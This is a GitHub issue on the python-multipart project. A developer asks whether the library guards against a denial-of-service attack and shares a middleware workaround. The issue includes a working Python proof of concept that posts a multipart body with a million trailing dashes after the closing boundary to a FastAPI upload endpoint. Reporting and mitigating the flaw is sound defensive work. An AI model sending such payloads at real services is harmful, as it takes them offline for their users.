Skip to content

Question about the package #162

Closed
@italojohnny

Description

@italojohnny

Hi, I have some questions based on an issue I'm currently dealing with.

I’ve created a simple project using Uvicorn, FastAPI, and python-multipart, and I'm encountering the following type of attack that is causing my API to become unavailable:

import requests

url = f"http://localhost:8000/upload_files"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)
print(response.status_code)
print(response.text)

This is how I’m handling the attack:

@app.middleware("http")
async def check_boundary(request: Request, call_next):
    if "/upload_files" in request.url.path:
        content_type = request.headers.get("Content-Type")

        if not content_type or "multipart/form-data" not in content_type or "boundary=" not in content_type:
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Content-Type header must be 'multipart/form-data' with a boundary parameter."},
            )

        boundary = content_type.split("boundary=")[-1].strip()

        if not re.match(r"^[\w\-]{1,70}$", boundary):
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Invalid boundary format"},
            )

        body = await request.body()

        boundary_start = f"--{boundary}".encode()
        boundary_end = f"--{boundary}--\r\n".encode()

        if not body.startswith(boundary_start) or not body.endswith(boundary_end):
            return JSONResponse(
                status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
                content={"detail": "Invalid multipart formatting"},
            )

    response = await call_next(request)
    return response

My question is: Does python-multipart have, or should it have, any built-in mechanisms to prevent this attack? If not, and it's expected that users handle it themselves, would my current approach be sufficient?

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions